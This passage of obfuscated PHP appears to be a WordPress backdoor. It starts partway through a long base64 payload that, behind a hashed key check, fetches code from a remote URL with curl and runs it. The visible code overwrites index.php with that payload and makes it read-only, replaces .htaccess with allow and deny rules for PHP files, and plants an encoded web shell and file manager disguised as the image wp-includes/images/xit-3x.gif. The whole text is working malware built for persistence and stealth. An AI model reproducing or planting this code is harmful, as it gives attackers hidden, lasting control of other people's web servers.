QCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NC